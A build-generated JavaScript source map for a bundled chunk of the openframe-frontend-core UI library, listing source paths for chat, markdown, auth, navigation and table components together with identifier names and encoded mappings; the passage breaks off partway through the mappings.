{"version":3,"sources":["/home/runner/work/openframe-oss-lib/openframe-oss-lib/openframe-frontend-core/dist/chunk-OIIE5IFT.cjs","../src/components/pagination.tsx","../src/components/chat/approval-request-message.tsx","../src/components/ui/tag.tsx","../src/components/ui/floating-tooltip.tsx","../src/components/chat/approval-batch-message.tsx","../src/components/chat/expand-chevron.tsx","../src/components/chat/hooks/use-collapsible.ts","../src/components/chat/tool-call-blocks.tsx","../src/components/chat/utils/tool-call-helpers.ts","../src/components/chat/escalation-offer-message.tsx","../src/components/chat/ticket-escalated-message.tsx","../src/components/chat/ai-assistant-info.tsx","../src/utils/format-date.ts","../src/components/chat/ticket-event-message.tsx","../src/components/chat/types/message.types.ts","../src/components/chat/context-compaction-display.tsx","../src/components/chat/thinking-display.tsx","../src/components/ui/markdown/engine.tsx","../src/components/ui/markdown/sanitize.ts","../src/components/ui/markdown/text-size.ts","../src/components/ui/markdown/heading-ids.ts","../src/utils/markdown-to-plain.ts","../src/components/ui/markdown/base-components.tsx","../src/components/ui/markdown/mermaid-diagram.tsx","../src/components/ui/markdown/streaming.ts","../src/components/ui/markdown/simple-markdown-renderer.tsx","../src/components/chat/guide-display.tsx","../src/components/chat/ask-display.tsx","../src/components/chat/error-message-display.tsx","../src/components/chat/chat-container.tsx","../src/components/ui/square-avatar.tsx","../src/utils/format.ts","../src/components/plus-circle-icon.tsx","../src/components/ui/ticket-status-tag.tsx","../src/utils/color-analysis.ts","../src/utils/ods-color-utils.ts","../src/components/ui/actions-menu.tsx","../node_modules/@radix-ui/react-use-controllable-state/src/use-controllable-state.tsx","../node_modules/@radix-ui/primitive/src/internal/is-development.false.ts","../node_modules/@radix-ui/react-use-layout-effect/src/use-layout-effect.tsx","../node_modules/@radix-ui/react-use-controllable-state/src/use-controllable-state-reducer.tsx","../node_modules/@radix-ui/react-use-effect-event/src/use-effect-event.tsx","../src/components/ui/overlay-open-registry.tsx","../src/components/ui/color-swatch.tsx","../src/components/ui/tooltip.tsx","../src/components/chat/msp-organization-card.tsx","../src/components/chat/msp-organization-card-skeleton.tsx","../src/components/chat/chat-input.tsx","../src/components/chat/chat-typing-indicator.tsx","../src/components/chat/slash-command-suggestions.tsx","../src/components/chat/mingo-onboarding-card.tsx","../src/components/chat/utils/icon-registry.ts","../src/components/chat/utils/icon-library.tsx","../src/components/chat/chat-message-enhanced.tsx","../src/utils/date-utils.ts","../src/components/chat/tool-execution-display.tsx","../src/components/chat/remark-card-links.ts","../src/components/chat/remark-strip-citations.ts","../src/components/chat/remark-mention-chips.ts","../src/components/chat/entity-cards/block-card.tsx","../src/components/chat/chat-context-picker.tsx","../src/components/chat/context-items-list.tsx","../src/components/chat/chat-message-list.tsx","../src/components/chat/chat-message-skeleton.tsx","../src/components/chat/cycling-phrase.tsx","../src/utils/image-proxy.ts","../src/components/chat/hooks/use-proxied-image-url.ts","../src/components/chat/chat-message-row.tsx","../src/components/chat/quick-action-chip.tsx","../src/assets/fae-avatar.ts","../src/components/agent-mark.tsx","../src/components/icon-display.tsx","../src/components/chat/quick-action-marquee.tsx","../src/components/chat/quick-action-wall.tsx","../src/components/ui/marquee-wall.tsx","../src/components/chat/chat-ticket-list.tsx","../src/components/ui/scroll-fade.tsx","../src/components/chat/entity-cards/chat-ticket-item.tsx","../src/components/chat/mingo-onboarding-card-skeleton.tsx","../src/components/chat/mingo-welcome.tsx","../src/components/chat/mingo-chat-history.tsx","../src/components/chat/chat-list-empty-state.tsx","../src/components/chat/guide-welcome.tsx","../src/components/chat/guide-mode-banner.tsx","../src/components/chat/mingo-history-rail.tsx","../src/components/ui/tab-selector.tsx","../src/components/chat/mingo-chat-modals.tsx","../src/components/ui/modal-v2.tsx","../src/components/chat/chat-header-icon-button.tsx","../src/components/chat/chat-header-search-field.tsx","../src/components/chat/chat-panel-header.tsx","../src/components/chat/chat-panel-header-mobile.tsx","../src/components/chat/chat-composer.tsx","../src/components/chat/chat-attachment-bar.tsx","../src/components/chat/utils/chat-attachment-markdown.ts","../src/components/chat/chat-context-memory-bar.tsx","../src/components/chat/model-display.tsx","../src/components/hover-card.tsx","../src/components/chat/chat-archive-page.tsx","../src/components/chat/chat-sidebar.tsx","../src/components/chat/chat-sidebar-skeleton.tsx","../src/components/chat/nav-link-anchor-via-runtime.tsx","../src/components/chat/utils/is-cross-origin-url.ts","../src/components/chat/utils/decide-new-tab.ts","../src/components/chat/utils/nav-anchor-props.ts","../src/components/chat/utils/chat-nav-resolution.ts","../src/components/chat/utils/execute-navigation.ts","../src/components/chat/utils/nav-click-handler.ts","../src/components/chat/chat-panel-context.tsx","../src/components/chat/source-action-button.tsx","../src/components/chat/entity-cards/entity-author-card.tsx","../src/components/chat/entity-cards/blog-image-placeholder.tsx","../src/components/chat/entity-cards/entity-portrait-card.tsx","../src/components/ui/card.tsx","../src/components/ui/status-badge.tsx","../src/components/chat/entity-cards/use-cover-image-fallback.ts","../src/components/chat/entity-cards/admin-content-card.tsx","../src/components/features/platform-badge.tsx","../src/components/flamingo-logo.tsx","../src/components/openmsp-logo.tsx","../src/utils/image-proxy-stub.ts","../src/components/chat/entity-cards/employee-entry-card.tsx","../src/components/chat/entity-cards/what-i-shipped-card.tsx","../src/components/chat/entity-cards/how-i-work-card.tsx","../src/components/ui/tabs.tsx","../src/components/features/video.tsx","../src/components/features/video-center-badge.tsx","../src/utils/fetch-priority.ts","../src/components/features/use-ios-native-video-fullscreen.ts","../src/components/features/use-video-warmup.ts","../src/components/features/mux-origins.ts","../src/components/features/use-captions.ts","../src/components/features/captions-url.ts","../src/components/features/video-bites-strip.tsx","../src/components/features/video-hover-preview.tsx","../src/components/features/card-hit-layer.tsx","../src/components/features/video-ratio-tabs.tsx","../src/components/features/video-bites-shared.ts","../src/components/features/cards-strip.tsx","../src/components/layout/page-heading.tsx","../src/components/user-display.tsx","../src/components/features/entity-video-section.tsx","../src/components/chat/entity-cards/chat-video-entity-card.tsx","../src/components/ui/interactive-card.tsx","../src/components/shared/product-release/product-release-card.tsx","../src/components/shared/product-release/product-release-card-skeleton.tsx","../src/utils/date-formatters.ts","../src/utils/release-cover.ts","../src/utils/release-badge.ts","../src/components/chat/entity-cards/product-release-card-defaults.ts","../src/components/chat/entity-cards/blog-card.tsx","../src/components/chat/entity-cards/use-entity-card-link.ts","../src/components/chat/entity-cards/use-entity-card-placeholder.ts","../src/components/chat/utils/compact-card-classes.ts","../src/components/chat/entity-cards/case-study-card.tsx","../src/components/chat/entity-cards/customer-interview-card.tsx","../src/components/chat/entity-cards/investor-update-card.tsx","../src/components/chat/types/entities/investor-update.ts","../src/components/chat/entity-cards/onboarding-guide-card.tsx","../src/components/chat/entity-cards/roadmap-card.tsx","../src/components/chat/entity-cards/roadmap-vote-button.tsx","../src/components/ui/avatar-stack.tsx","../src/components/ui/image-gallery-modal.tsx","../src/components/ui/allowed-domains-input.tsx","../src/components/ui/announcement-bar-view.tsx","../src/components/ui/autocomplete.tsx","../src/components/ui/truncate-text.tsx","../src/components/ui/hidden-tags-popup.tsx","../src/components/ui/index.ts","../src/components/ui/checkbox-block.tsx","../src/components/ui/checkbox-with-description.tsx","../src/components/ui/date-picker.tsx","../src/components/ui/select.tsx","../src/components/ui/duration-input.tsx","../src/components/ui/field.tsx","../src/components/ui/info-hint.tsx","../src/components/ui/honeypot-field.tsx","../src/components/ui/json-detail-list.tsx","../src/components/ui/info-card.tsx","../src/components/ui/progress-bar.tsx","../src/components/ui/info-row.tsx","../src/components/ui/info-section.tsx","../src/components/ui/assignee-dropdown.tsx","../src/components/ui/deleted-user-avatar.tsx","../src/components/ui/searchable-select.tsx","../src/components/ui/input-trigger.tsx","../src/components/ui/media-type-selector.tsx","../src/components/ui/no-data/no-data.tsx","../src/components/ui/no-data/no-data-message.tsx","../src/components/ui/no-data/no-data-styles.ts","../src/components/ui/no-data/no-data-actions.tsx","../src/components/ui/page-loader.tsx","../src/components/ui/radio-group.tsx","../src/components/ui/switch.tsx","../src/components/ui/tag-select-dropdown.tsx","../src/components/ui/tags-input.tsx","../src/components/ui/badge.tsx","../src/components/ui/tags-manager.tsx","../src/components/ui/textarea.tsx","../src/components/ui/alert-dialog.tsx","../src/components/ui/aspect-ratio.tsx","../src/components/ui/dialog.tsx","../src/components/ui/modal.tsx","../src/components/ui/modal-guarded-close.tsx","../src/components/ui/admin-form-modal.tsx","../src/components/ui/separator.tsx","../src/components/ui/sheet.tsx","../src/components/ui/drawer.tsx","../src/components/ui/accordion.tsx","../src/components/ui/breadcrumb.tsx","../src/components/ui/menubar.tsx","../src/components/ui/navigation-menu.tsx","../src/components/ui/crossfade-panels.tsx","../src/components/ui/tab-content.tsx","../src/components/ui/tab-navigation.tsx","../src/components/ui/alert.tsx","../src/components/ui/ai-generated-badge.tsx","../src/components/ui/fade-preview.tsx","../src/components/ui/progress.tsx","../src/components/ui/release-changelog-section.tsx","../src/components/ui/markdown/rich/rich-markdown-renderer.tsx","../src/components/embeds/rich-markdown-runtime.tsx","../src/components/embeds/reddit-embed-client.tsx","../src/utils/social-embed-cache.ts","../src/components/media-carousel.tsx","../src/components/embeds/embed-container.tsx","../src/components/embeds/twitter-embed-client.tsx","../src/components/embeds/linkedin-embed-client.tsx","../src/components/embeds/og-link-preview.tsx","../src/components/embeds/figma-embed.tsx","../src/components/embeds/embed-viewer-frame.tsx","../src/utils/fullscreen-switch.ts","../src/components/embeds/embed-iframe.tsx","../src/components/embeds/claude-embed.tsx","../src/components/embeds/markdown-image.tsx","../src/components/ui/markdown/rich/embed-overrides.tsx","../src/components/ui/markdown/rich/shortcodes.ts","../src/components/ui/stacked-rows-panel.tsx","../src/components/ui/slack-channel-chip.tsx","../src/components/ui/status-indicator.tsx","../src/components/ui/hover-dropdown.tsx","../src/components/layout/back-button.tsx","../src/components/layout/list-page-layout.tsx","../src/components/ui/filter-modal.tsx","../src/components/ui/filter-checkbox-item.tsx","../src/components/ui/sort-column-item.tsx","../src/components/ui/tag-key-value-filter.tsx","../src/components/layout/page-container.tsx","../src/components/ui/page-actions.tsx","../src/components/layout/page-layout.tsx","../src/components/layout/title-block.tsx","../src/components/ui/entity-image.tsx","../src/components/layout/article-detail-layout.tsx","../src/components/toggle-group.tsx","../src/components/ui/toggle.tsx","../src/components/ui/benefit-card.tsx","../src/utils/index.ts","../src/utils/common.ts","../src/utils/seo-title.ts","../src/utils/seo-description.ts","../src/utils/brand-marks.ts","../src/utils/os-platforms.ts","../src/utils/validation-utils.ts","../src/utils/confidence-helpers.ts","../src/utils/dev-sections/dev-section-param-keys.ts","../src/utils/tool-utils.ts","../src/types/shell.types.ts","../src/utils/shell-utils.ts","../src/utils/video-bite-id.ts","../src/types/os.types.ts","../src/utils/os-utils.ts","../src/utils/country-phone-utils.ts","../src/utils/generic-domain-utils.ts","../src/utils/dismiss-cookie.ts","../src/utils/announcement-storage.ts","../src/utils/dismissal-storage.ts","../src/utils/walkthrough-deep-link.ts","../src/utils/source-icons.ts","../src/utils/sse-subscription.ts","../src/utils/sse-decision-frame.ts","../src/components/chat/utils/auto-continuation-directive.ts","../src/components/chat/utils/flatten-assistant-content.ts","../src/components/chat/utils/scroll-anchor.ts","../src/components/chat/utils/slash-dispatch-utils.ts","../src/components/chat/utils/clickup-task-type-utils.ts","../src/components/chat/utils/agent-status-message.ts","../src/components/chat/utils/external-app-urls.ts","../src/utils/dev-sections/openframe-dev-sections.ts","../src/types/announcement.ts","../src/types/product-release.ts","../src/types/delivery.ts","../src/types/tmcg.ts","../src/utils/list-url.ts","../src/utils/faq-anchor.ts","../src/utils/content-ref-groups.ts","../src/utils/extract-items.ts","../src/utils/suggestion-url.ts","../src/utils/content-href.ts","../src/utils/doc-tree-nav.ts","../src/utils/doc-path-utils.ts","../src/utils/tree-builder.ts","../src/utils/markdown-section-extractor.ts","../src/utils/hubspot-meetings-convention.ts","../src/utils/page-header-constants.ts","../src/utils/first-touch-attribution.ts","../src/components/ui/brand-association-card.tsx","../src/components/ui/brand-association-grid.tsx","../src/components/ui/bullet-list.tsx","../src/components/ui/chevron-button.tsx","../src/components/ui/circular-progress.tsx","../src/components/ui/custom-icons.tsx","../src/components/ui/dashboard-info-card.tsx","../src/components/ui/info-card-row.tsx","../src/components/ui/device-card.tsx","../src/components/features/os-type-badge.tsx","../src/components/ui/device-card-compact.tsx","../src/components/ui/feature-card.tsx","../src/components/ui/feature-list.tsx","../src/components/ui/source-tooltip.tsx","../src/components/ui/highlight-card.tsx","../src/components/ui/icons-block.tsx","../src/components/ui/dropdown-button.tsx","../src/components/ui/more-actions-menu.tsx","../src/components/ui/organization-card.tsx","../src/components/ui/service-card.tsx","../src/components/providers/dynamic-theme-provider.tsx","../src/hooks/use-dynamic-theming.ts","../src/components/providers/theme-provider.tsx","../src/components/features/array-entry-manager.tsx","../src/components/features/auth/auth-benefits-panel.tsx","../src/components/features/auth/auth-branding.tsx","../src/components/features/auth/auth-shell.tsx","../src/components/features/auth/back-to-login-link.tsx","../src/components/features/auth/complete-account-form.tsx","../src/components/ui/password-input.tsx","../src/components/features/auth/sso-providers.tsx","../src/components/features/auth/create-organization-form.tsx","../src/components/features/auth/terms-agreement-label.tsx","../src/components/features/auth/invite-link-invalid-modal.tsx","../src/components/features/auth/login-form.tsx","../src/components/features/auth/openframe-sso-login-form.tsx","../src/components/features/auth/openframe-sso-signup-form.tsx","../src/components/features/auth/password-reset-form.tsx","../src/components/features/auth/sso-auth-shell.tsx","../src/components/features/provider-button.tsx","../src/components/features/auth-providers-list.tsx","../src/components/features/changelog-manager.tsx","../src/components/features/changelog-sections-manager.tsx","../src/components/features/clickup-tasks-manager.tsx","../src/components/features/command-box.tsx","../src/components/features/entity-tag-badges.tsx","../src/components/features/error-boundary.tsx","../src/components/features/figma-prototype-viewer.tsx","../src/components/features/section-selector.tsx","../src/components/features/filters-dropdown.tsx","../src/components/features/github-releases-manager.tsx","../src/components/features/knowledge-base-links-manager.tsx","../src/components/features/loading-provider.tsx","../src/components/features/media-gallery-manager.tsx","../src/components/features/more-about-button.tsx","../src/components/features/os-type-badge-group.tsx","../src/components/features/parallax-image-showcase.tsx","../src/components/features/paths-display.tsx","../src/components/features/platform-filter.tsx","../src/components/features/push-button-selector.tsx","../src/components/features/release-media-manager.tsx","../src/components/features/select-button.tsx","../src/components/features/seo-editor-preview.tsx","../src/components/features/social-links-manager.tsx","../src/components/features/start-with-openframe-button.tsx","../src/components/features/status-filter-component.tsx","../src/components/features/tags-selector.tsx","../src/components/features/warning-block.tsx","../src/components/features/video-bites-display.tsx","../src/components/features/walkthrough-video.tsx","../src/components/features/use-walkthrough-video.ts","../src/components/features/video-source-selector.tsx","../src/components/features/ai-enrich/ConfidenceBadge.tsx","../src/components/features/subtitles-editor.tsx","../src/components/features/transcript-summary-editor.tsx","../src/components/features/highlight-video-section.tsx","../src/components/features/ai-enrich/AIEnrichSection.tsx","../src/components/features/ai-enrich/AIEnrichButton.tsx","../src/components/features/ai-enrich/AIWarningsSection.tsx","../src/components/features/highlight-config-section.tsx","../src/components/features/entity-summary-editor.tsx","../src/components/features/transcribe-summarize-section.tsx","../src/components/features/ai-enrich/AIStatusIndicator.tsx","../src/components/features/ai-enrich/AIRequiredBadge.tsx","../src/components/features/video-clips-section.tsx","../src/components/features/highlight-generation-section.tsx","../src/components/features/highlight-video-preview.tsx","../src/components/features/transcribe-and-summarize-combined-section.tsx","../src/components/features/highlight-video-combined-section.tsx","../src/components/features/view-toggle.tsx","../src/components/features/policy-configuration-panel.tsx","../src/components/features/waitlist-form.tsx","../src/components/ui/phone-input.tsx","../src/components/features/notifications/notifications-context.tsx","../src/components/features/notifications/notification-drawer.tsx","../src/components/navigation/app-layout-context.ts","../src/components/navigation/app-layout-drawer.tsx","../src/components/features/notifications/notification-tile.tsx","../src/components/features/notifications/notification-popups.tsx","../src/components/features/notifications/approval-request-notification-tile.tsx","../src/components/chat/types/chat.types.ts","../src/components/chat/types/network.types.ts","../src/components/chat/types/entities/program-types.ts","../src/components/features/notifications/types.ts","../src/components/features/time-tracker/time-tracker-context.tsx","../src/components/features/time-tracker/time-tracker-panel.tsx","../src/components/features/time-tracker/use-tracker-clock.ts","../src/components/features/time-tracker/time-tracker-header-button.tsx","../src/components/navigation/header-button.tsx","../src/components/navigation/unread-dot.tsx","../src/components/features/board/board.tsx","../src/utils/auto-scroll-ancestors.ts","../src/utils/scroll-parent.ts","../src/components/features/board/board-column.tsx","../src/components/features/board/board-column-header.tsx","../src/components/ui/touch-friendly-tooltip.tsx","../src/components/features/board/drop-aim.ts","../src/components/features/board/use-lane-scroll-anchor.ts","../src/components/features/board/lane-geometry.ts","../src/components/features/board/color-utils.ts","../src/components/features/board/ticket-card.tsx","../src/utils/drag-effect.ts","../src/components/features/board/board-ticket-approval.tsx","../src/components/features/board/pending-move.ts","../src/components/features/board/ticket-card-skeleton.tsx","../src/components/features/board/aim.ts","../src/components/features/board/resolve-drop.ts","../src/components/features/board/use-board-collapse.ts","../src/components/features/board/types.ts","../src/components/features/sortable-list/slot-geometry.ts","../src/components/features/sortable-list/sortable-list.tsx","../src/components/features/sortable-list/use-sortable-item.ts","../src/components/features/ticket-status-config-list/ticket-status-config-list.tsx","../src/components/navigation/header.tsx","../src/components/navigation/mingo-ai-button.tsx","../src/components/navigation/mobile-nav-panel.tsx","../src/components/navigation/ticket-alerts-button.tsx","../src/components/tickets/ticket-live-provider.tsx","../src/components/chat/hooks/use-chat-identity.ts","../src/components/tickets/types.ts","../src/components/navigation/top-navigation.tsx","../src/components/navigation/client-only-header.tsx","../src/components/navigation/header-skeleton.tsx","../src/components/navigation/sliding-sidebar.tsx","../src/components/navigation/sticky-section-nav.tsx","../src/components/navigation/navigation-sidebar.tsx","../src/components/navigation/navigation-sidebar-header.tsx","../src/components/navigation/navigation-sidebar-item.tsx","../src/components/navigation/navigation-sidebar-toggle.tsx","../src/components/navigation/app-header.tsx","../src/components/navigation/header-global-search.tsx","../src/components/navigation/header-mingo-button.tsx","../src/components/navigation/header-organization-filter.tsx","../src/components/navigation/app-layout.tsx","../src/components/navigation/mobile-burger-menu.tsx","../src/components/navigation/multi-level-navigation.tsx","../src/components/platform/SoftwareInfo.tsx","../src/components/platform/SoftwareSourceBadge.tsx","../src/components/platform/CveLink.tsx","../src/components/platform/ToolBadge.tsx","../src/components/platform/ShellTypeBadge.tsx","../src/components/platform/ScriptInfoSection.tsx","../src/components/platform/ScriptArguments.tsx","../src/components/shared/onboarding/onboarding-walkthrough.tsx","../src/components/shared/onboarding/onboarding-step-card.tsx","../src/components/logs-list.tsx","../src/components/log-severity-dot.tsx","../src/types/logs.types.ts","../src/assets/index.ts","../src/components/ui/slider.tsx","../src/components/ui/title-content-block.tsx","../src/components/ui/error-state.tsx","../src/components/ui/content-loader.tsx","../src/components/ui/table/table.tsx","../src/components/ui/cursor-pagination.tsx","../src/components/ui/table/table-empty-state.tsx","../src/components/ui/table/table-header.tsx","../src/components/ui/table/table-column-filter-dropdown.tsx","../src/components/ui/table/utils.ts","../src/components/ui/table/table-row.tsx","../src/components/ui/table/table-cell.tsx","../src/components/ui/table/table-skeleton.tsx","../src/components/ui/table/use-table-motion.ts","../src/components/ui/table/table-description-cell.tsx","../src/components/ui/table/table-timestamp-cell.tsx","../src/components/ui/query-report-table/query-report-table.tsx","../src/components/ui/query-report-table/query-report-table-header.tsx","../src/components/ui/query-report-table/query-report-table-row.tsx","../src/components/ui/query-report-table/query-report-table-skeleton.tsx","../src/components/ui/query-report-table/utils.ts","../src/components/ui/data-table/data-table.tsx","../src/components/ui/data-table/data-table-header.tsx","../src/components/ui/data-table/data-table-column-filter.tsx","../src/components/ui/data-table/utils.ts","../src/components/ui/data-table/data-table-body.tsx","../src/components/ui/data-table/data-table-empty.tsx","../src/components/ui/data-table/data-table-row.tsx","../src/components/ui/data-table/data-table-skeleton.tsx","../src/components/ui/data-table/data-table-infinite-footer.tsx","../src/components/ui/data-table/data-table-cursor-footer.tsx","../src/components/ui/data-table/data-table-row-count.tsx","../src/components/ui/data-table/use-data-table.ts","../src/components/ui/data-table/index.ts","../src/components/ui/search-input.tsx","../src/components/ui/filter-list.tsx","../src/components/ui/tag-search-input.tsx","../src/components/ui/markdown-editor.tsx","../src/components/ui/file-upload.tsx","../src/components/ui/image-uploader.tsx","../src/components/ui/ticket-status-config-row.tsx","../src/components/ui/color-preset-select.tsx","../src/components/popover.tsx","../src/components/ui/test-run.tsx","../src/components/ui/ticket-info-section.tsx","../src/components/ui/ticket-attachments-list.tsx","../src/components/ui/ticket-detail-section.tsx","../src/components/ui/ticket-notes-section.tsx","../src/components/ui/ticket-note-card.tsx","../src/components/ui/take-over-ticket-modal.tsx","../src/components/ui/reopen-ticket-modal.tsx","../src/components/ui/reopen-ticket-request-modal.tsx","../src/components/ui/filter-pill-row.tsx","../src/components/chat/entity-cards/task-type-icon.tsx","../src/components/chat/entity-cards/github-activity-card.tsx","../src/components/chat/entity-cards/slack-message-card.tsx","../src/components/chat/entity-cards/hubspot-ticket-card.tsx","../src/components/chat/entity-cards/data-room-doc-card.tsx","../src/components/chat/entity-cards/program-card.tsx","../node_modules/date-fns/toDate.mjs","../node_modules/date-fns/constructFrom.mjs","../node_modules/date-fns/constants.mjs","../node_modules/date-fns/_lib/defaultOptions.mjs","../node_modules/date-fns/startOfWeek.mjs","../node_modules/date-fns/startOfISOWeek.mjs","../node_modules/date-fns/getISOWeekYear.mjs","../node_modules/date-fns/startOfDay.mjs","../node_modules/date-fns/_lib/getTimezoneOffsetInMilliseconds.mjs","../node_modules/date-fns/differenceInCalendarDays.mjs","../node_modules/date-fns/startOfISOWeekYear.mjs","../node_modules/date-fns/isDate.mjs","../node_modules/date-fns/isValid.mjs","../node_modules/date-fns/startOfYear.mjs","../node_modules/date-fns/locale/en-US/_lib/formatDistance.mjs","../node_modules/date-fns/locale/_lib/buildFormatLongFn.mjs","../node_modules/date-fns/locale/en-US/_lib/formatLong.mjs","../node_modules/date-fns/locale/en-US/_lib/formatRelative.mjs","../node_modules/date-fns/locale/_lib/buildLocalizeFn.mjs","../node_modules/date-fns/locale/en-US/_lib/localize.mjs","../node_modules/date-fns/locale/_lib/buildMatchFn.mjs","../node_modules/date-fns/locale/_lib/buildMatchPatternFn.mjs","../node_modules/date-fns/locale/en-US/_lib/match.mjs","../node_modules/date-fns/locale/en-US.mjs","../node_modules/date-fns/getDayOfYear.mjs","../node_modules/date-fns/getISOWeek.mjs","../node_modules/date-fns/getWeekYear.mjs","../node_modules/date-fns/startOfWeekYear.mjs","../node_modules/date-fns/getWeek.mjs","../node_modules/date-fns/_lib/addLeadingZeros.mjs","../node_modules/date-fns/_lib/format/lightFormatters.mjs","../node_modules/date-fns/_lib/format/formatters.mjs","../node_modules/date-fns/_lib/format/longFormatters.mjs","../node_modules/date-fns/_lib/protectedTokens.mjs","../node_modules/date-fns/format.mjs","../src/components/chat/entity-cards/campaign-card-admin.tsx","../src/components/chat/entity-cards/generic-entity-card.tsx","../src/components/chat/entity-cards/dispatch.tsx","../src/components/chat/hooks/use-chat-card-item.ts","../src/components/chat/utils/source-row-cta.ts","../src/components/chat/utils/resolve-fetched-card-href.ts","../src/components/chat/entity-cards/deleted-data-card.tsx","../src/components/chat/mingo-info-card.tsx","../src/components/chat/hooks/use-chunk-catchup.ts","../src/components/chat/hooks/use-scripted-stream.ts","../src/components/chat/hooks/use-jetstream-dialog-subscription.ts","../src/components/chat/hooks/use-nats-dialog-subscription.ts","../src/components/chat/hooks/use-slash-commands.ts","../src/components/chat/hooks/use-empty-state-config.ts","../src/components/chat/hooks/use-chat-attachments.ts","../src/components/chat/hooks/use-chat-attachment-image-gallery.tsx","../src/components/chat/hooks/use-close-on-navigation.ts","../src/components/chat/hooks/use-chat.ts","../src/components/chat/hooks/use-sse.ts","../src/components/chat/hooks/use-sse-chat-adapter.ts","../src/chat-protocol/confirm-tool.ts","../src/chat-protocol/frames.ts","../src/chat-protocol/leading-frames.ts","../src/chat-protocol/decode.ts","../src/components/chat/utils/chat-conversation-storage.ts","../src/components/chat/hooks/use-chat-history-hydration.ts","../src/components/chat/utils/discuss-ref-prompt.ts","../src/components/chat/stream/message-mutations.ts","../src/components/chat/utils/message-segment-accumulator.ts","../src/chat-protocol/events.ts","../src/components/chat/utils/approval-display.ts","../src/components/chat/stream/chat-stream-reducer.ts","../src/components/chat/stream/chat-dialog-store.ts","../src/components/chat/stream/use-chat-stream-reducer.ts","../src/components/chat/stream/delta-batcher.ts","../src/components/chat/hooks/use-nats-chat-adapter.ts","../src/chat-protocol/nats-decoder.ts","../src/components/chat/utils/process-historical-messages.ts","../src/components/chat/utils/extract-incomplete-message-state.ts","../src/components/chat/hooks/use-unified-chat.ts","../src/components/chat/utils/history-merge.ts","../src/components/chat/utils/chip-action-class.ts","../src/components/chat/utils/chip-styles.ts","../src/components/chat/utils/scripted-stream.ts","../src/components/chat/embeddable-chat.tsx","../node_modules/@radix-ui/react-visually-hidden/src/visually-hidden.tsx","../node_modules/@radix-ui/react-primitive/src/primitive.tsx","../src/components/chat/hooks/use-chat-dialog-manager.ts"],"names":["init_button","jsx","jsxs","ChevronLeft","MoreHorizontal","ChevronRight","match","size","useState","forwardRef","useMemo","required","overflow","offset","format","sizeClasses","reducer","useCallback","React","FlamingoLogoIcon","Megaphone","Bell","Info","Star","Icon","resolveSourceIcon","useRef","message","Fragment","SKIP","resolveIcon","props","memo","defaultTheme","createContext","MessageSquare","FileText","formatDate","cva","OpenmspLogo","FlamingoLogo","Globe","useEffect","Video","Package","TrendingUp","dateStr","Calendar","GraduationCap","useImperativeHandle","toDate","UserIcon","Image","ChevronDown","MediaCarousel","RedditIcon","ClockIcon","ExternalLinkIcon","username","MessageCircleIcon","ExternalLink","FigmaIcon","Component","Wrench","MapIcon","Rocket","ChevronUp","DEFAULT_TITLE","Plus","Link","ImageIcon","Trash2","Loader2","VideoIcon","Youtube","Instagram","Facebook","MessageCircle","Send","Mail","AlertTriangle","Sparkles","getCountries","value","HORIZONTAL_SIDES","icon","dropTargetForElements","attachClosestEdge","TicketCard","combine","BoardColumn","preventUnhandled","useContext","useId","shift","draggable","usePreventScroll","Header","prefersReducedMotion","DEFAULT_FOLDER_INDEX_FILE","formatTimestamp","flexRender","ROW_HEIGHT_DESKTOP","ROW_HEIGHT_MOBILE","getCoreRowModel","getFilteredRowModel","getSortedRowModel","innerInputStyles","Popover","InfoCell","REASON_MAX_LENGTH","Modal","BookOpen","CheckSquare","Eye","formatLong","defaultOptions","Clock","chatTypes","fetchChunks","dialogId","STORAGE_KEY","nextResolvedBy","occurredAt","segments","Node","VisuallyHidden"],"mappings":"AAAA,+iCAAY;AACZ;AACE;AACF,wDAA6B;AAC7B;AACE;AACF,wDAA6B;AAC7B;AACE;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACF,wDAA6B;AAC7B;AACE;AACA;AACA;AACA;AACF,wDAA6B;AAC7B;AACE;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACF,wDAA6B;AAC7B;AACE;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACF,wDAA6B;AAC7B;AACE;AACA;AACF,wDAA6B;AAC7B;AACE;AACA;AACF,wDAA6B;AAC7B;AACE;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACF,wDAA6B;AAC7B;AACE;AACA;AACF,wDAA6B;AAC7B;AACE;AACA;AACA;AACA;AACA;AACA;AACF,wDAA6B;AAC7B;AACE;AACA;AACF,wDAA6B;AAC7B;AACE;AACA;AACA;AACA;AACA;AACA;AACF,wDAA6B;AAC7B;AACE;AACA;AACA;AACF,wDAA6B;AAC7B;AACE;AACF,wDAA6B;AAC7B;AACA;ACzSA,2CAA0D;AAC1D,qxIAAuB;AA2EX,+CAAA;AA9EZ,IAcM,UAAA,EAmHA,iBAAA,EAOA,cAAA,EAOA,cAAA,EAgBA,kBAAA,EAgBA,kBAAA,EAYA,cAAA;AA3LN,IAAA,gBAAA,EAAA,qCAAA;AAAA,EAAA,+BAAA,CAAA,EAAA;AAAA,IAAA,YAAA;AAAA,IAAA,YAAA;AAI